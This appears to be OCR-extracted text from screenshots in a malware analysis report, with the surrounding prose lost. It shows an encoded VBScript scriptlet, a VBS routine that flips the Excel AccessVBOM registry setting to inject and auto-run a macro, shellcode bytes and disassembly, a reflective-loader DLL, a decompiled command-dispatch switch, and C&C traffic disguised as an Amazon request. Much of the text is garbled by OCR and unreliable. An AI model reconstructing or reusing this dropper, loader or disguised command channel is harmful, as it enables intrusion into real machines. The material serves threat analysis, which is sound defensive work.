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strPath = DesDir & SkMMBXmNbPCwurUQIJQcF({Array(58, 54, 20, 9, 1, 20, 7, 11, 34, 7, 18, °

5
ou, o,
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<?HML version="1.0"72>
|<zcriptlet>
|[<gcript language="VBScript">

<! [CDRTR[
dTEMgCaWeRlUVLC=Array (102,80, 65,21, 90,87, 95,112,77,8¢6,80,8%,21,48,21,118,71,180, 84,
65,89,92,86,084,65,92,90,91,23,28,63,50,87,55,112,77,86¢,80,8%,27,9%,9%2,70,9%2,87,8%
102,93,80,89,89,21,8,21,118,71,80,84,65,80,122,87,95,680,86,65,259,23,98,70,86,71, 9.
%0,%1,21,103,80,82,112,77,5%2,70,65,70,29,71,80,82,126,80,76,28,63,60,50,91,21,80,°
70,%3,102,93,80,8%,8%9,27,103,80,82,103,80,84,81,21,71,80,82,126,80,76,63,60,103,8
87,80,71,21,8,21,5,28,63,80,91,81,21,83,64,91,86,65,5%2,90,51,63,63,18,21,114, 80, &!
122,120,21,67,84,8%9,64,80,63,103,80,82,101,84,65,93,21,8,21,23,125,126,112,108,10
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3 0x35, 0x39, 0x35
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Excel AccessVBOM

1 Set ohiFxcel = Createnhiect("Fxcel.Annlication™) I —
objExcel.visible = False

[N]

Set Wshshell = Createobject("wscript.shell™)

function RegExists(regkey)
ON - Error resume next
Wshshell.RegRead regkey
RegExists = (Err.number = @)

and Funrtinn

D WK NN W

icrosoft\office\" & objExcel.version & "\Excel\Security\AccessvBOM" 12 RegPath = "HKEY_CURRENT_USER\Software\M

14 if RegExists(RegPath) thei
th) 15 action = WshShell.RegRead(RegPa
17 action = ""
18 end-if
D" 26 Wshshell.RegWrite RegPath, 1, "REG_DWOR
BN e sasn - RS A o s s 2z
book.VBProject.vBComponents.Add(1) 23 set xlmodule = objwork
Excel 0x78
CreateProcess rundll32 shellcode
CreateRemoteThread shellcode
shellcode base64 base64
shellcode
00000000 | 00 01 02 03 04 05 06 07 08 09 0a Ob 0Oc 0d 0Oe Of
00000000 | [EB]3a 31 d2 80 3b 2b 75 04 b2 3e eb 26 80 3h 2f Bl 1% ;+u.? ? €;/ fme—1loader shellcode
00000010 | 75 04 b2 3f eb 1d 80 3b 39 77 07 8a 13 80 ea fc u.? ? £;9w.? €F
00000020 ? €£;ZIw.? €@ ? ?
00000030 €M ¥ .2 B . #
00000040 [1® 7 . % ;
00000050 % =
Ipnqqnnﬁn =

shellcode 0x76 loader

base64

shellcode
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shellcode C&C shellcode
Excel  Auto_Open Excel
AccessVBOM
SRS e i b w7 F D e owR PNty

2 CNOrrOr Ces MY rexi
3 objExcel.Run "Auto Open”
A, ohikorkhool . flose Falea |

7 ' Restore the registry to its old state
8 if action = "" then

e oo et i iInI|1I R R et | S SR L T P
12 else
CP e it i SR A PR L R

_L erc Lo

shellcode shellcode 0x34  0x38



seqB00:00000000 FC cld

SegBee:00000001 EB 00 00 B0 08 call $+5

segBen: EB 27 jmp short loc_2F
segB00:00000008

seqB00:00000008 H == SUBROUTINE

Segoeo:00000008
segbe:00000008

segBE0:00000008 sub_8 proc near ; CODE XREF: seg0@0:lec_2Fip
segfBp:00BB00BE SF pop edi

segBBE:00000009 88 37 mov esi, [edi] ; iWiEox34

5egBeR:0000000B 83 C7 04 add edi, 4

segBE0:0000000E 8B 1F mov ebx, [ed1]

segPAA:00000010 31 F3 xor ebx, esi ; ebx = 0x31E00 HESKE
5eg000:00000012 83 C7 04 add edi, 4

5eg000:00000015 57 push ed1

Segoeo:00000016

i CCDE KREF: sS40

DLL 17f2d8.dll
_ReflectiveLoader@4
pFile Raw Data Value
PEE20932 31 37 66 32 64 38 2E 64 6C 6C 0O 5F 52 65 66 6C  17f2d8.d11. Refl
PEE20042 65 63 74 69 76 65 4C 6F 61 64 65 72 40 34 80 ectiveloader@d.
DlIMain 0x10030028 0x1000 0x69

iax‘d L E G |s§:—rj’—
Hext: LEEEHECE.
o lect o T R E
Ctext: TEEEREDR2Z

U ok ] MR LT
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https://*** *** net,/s/ref=nb_sb_noss_1/167-3294888-0262949/field-keywords=books
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2/{
3l ant w3; /7 eda
5 w3 = len;
6 switch ( a2 )
71 1
8 case 1:
] sub_18885634((int)a3, len, 1); // BEhiig
10 break;
11 case 2:
12 sub_10003B6A(=3);
132 break;
14 case 3:
15 sub_18893609() ;
16 break;
17 case 4:
18 sub_1000368C(Len);
19 break;
20 case 5:
21 sub_1888361D(1en, a3); /7 MREFR
22 break;
23 case 9:
24 sub_100054E0(Len, 1); JF IR
25 break;
26 case OxA:
27 sub_10003D1E((1nt)a3, len, "wb"); /7 b
28 break;
29 case BxB:
el} sub_10004c29(=23, len); /7 REEH
31 break;
a 32 case 0xC:
3 33 sub_1000387A(1len, 22); /1 hATES
— 34 break;
35 case BxD:
- 36 sub_1800852D01(1len, a2, 1);
37 break;
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VBS shellcode
shellcode shellcode
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£eq@aa: 09000008 sub 8 proc near 3 CODE XREF. seq@df:loc_2F.p
segodo: 0o8008a8 i pop edy
5eg000: 00000009 s5—=7 mov es1;—[edy] wiFox3a
segﬂsn emuasa 83 C7-04 add edi, 4
ek {3 S Ty P -l pdnl
egﬁﬁ ﬂaaa‘leaﬁlﬁ ! =
5e0PRATIAO0GA12=83-C=D :
e S G T PSS = psky S
5 et} ol i
— e Pa— —‘-’m
= il
i;ﬁd_ a—-ifm
e |¢aggeﬂpgsep =305 "ﬁ@ﬁ !=9-1+:ﬁ_m
il (R e o e e R — 1 -x:K TS —
5epOa0r)EHENI21 123 EB-5L simb—— "7

s egfBE=R0008924 F1_02 xer

shellcode shellcode

sub 8

shellcode
2017
amazon  host
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GET /s/ref=nb_sb_noss_1/167-3234888-8262949/field-keywords=books HTTP/1.1

HOST: W amazon, com

Accept: */*
Cookie: sKis 358581 Ken=1 40U 10 R
pot Il ey UTACD
e i 113 (520 Find S HOR

SSh13G8/ vBLERBEHS funl e/ ohai IeaKouoUPBalCbs + BIESDpY vl yOry ORIrT

5632 A FIDRCETSESD s Gae YT =52 UL

Connection:: keep:AliTa
Cachie=Control: ro:cache

& 88 :5E AR HTACE (18)
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VenusEye

% | https://venuseye.vip/domain/

P, &, X

Oracle America, Inc.

et

2018-06-01

52-riz 1 D8] LEEEaT e

15 Nov 2617 89:32:14 GMT
Server: Server
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